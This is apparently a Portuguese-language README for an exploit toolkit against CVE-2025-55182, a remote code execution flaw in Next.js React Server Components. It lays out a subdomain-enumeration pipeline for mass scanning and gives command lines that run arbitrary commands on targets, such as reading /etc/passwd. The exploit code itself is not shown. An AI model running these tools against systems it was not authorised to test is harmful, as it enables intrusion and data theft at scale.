CVE-2025-55182: Scanner de RCE para React Server Components

Um kit de ferramentas abrangente para detectar e explorar CVE-2025-55182, uma vulnerabilidade crítica de Execução Remota de Código em aplicações Next.js que utilizam React Server Components.

Este repositório apresenta um scanner Bash unificado (modo Único e em Massa), implementações em Python/Go e um fluxo de trabalho de reconhecimento para bug bounty.

📂 Estrutura do Repositório

• scanner.sh — Script Bash all-in-one para varredura de Alvo Único e em Massa
• python/exploit.py — Implementação Python estável (melhor escapamento JSON)
• go/main.go — Implementação de alto desempenho (compilável)

🚀 Fluxo de Trabalho de Reconhecimento (Metodologia Bug Bounty)

Para caça em massa em domínios curinga, use este pipeline para filtrar alvos antes da varredura:

# 1. Enumerate subdomains
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filter for live hosts
httpx -l subs.txt -o live.txt

# 3. Pre-scan detection using Nuclei (optional)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

🛠️ Uso do Scanner Bash (Recomendado)

O script scanner.sh suporta varreduras de alvo único e varredura em massa a partir de uma lista de arquivos.

🔧 Instalação

chmod +x scanner.sh

1️⃣ Modo de Alvo Único

Melhor para verificar um alvo específico com saída detalhada.

# Basic check (defaults to "id")
./scanner.sh -d example.com

# Execute custom command
./scanner.sh -d https://target.com -c "cat /etc/passwd"

2️⃣ Modo de Varredura em Massa

Escaneia eficientemente uma lista de URLs e salva hosts vulneráveis em um arquivo.

# Scan a list of URLs
./scanner.sh -l live.txt -c "whoami"

# Custom output file
./scanner.sh -l live.txt -o my_bounty.txt

Opções

🐍 Versão Python

Use esta se você encontrar problemas com o escapamento de caracteres especiais no Bash.

Requisitos

pip install requests

Uso

python3 python/exploit.py -u http://target.com -c "uname -a"

🐹 Versão Go

Alto desempenho, dependências mínimas.

Executar diretamente

go run go/main.go -u http://target.com -c "id"

Compilar binário

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com

⚠️ Aviso Legal

Esta ferramenta é apenas para fins educacionais e testes de segurança autorizados. O uso não autorizado é estritamente ilegal. O desenvolvedor não assume nenhuma responsabilidade por uso indevido ou danos causados por este programa.

🔗 Referências

• Detalhe CVE da NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

• Aviso de Segurança React (vulnerabilidade em React Server Components): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

• Template Nuclei do ProjectDiscovery: https://cloud.projectdiscovery.io/library/CVE-2025-55182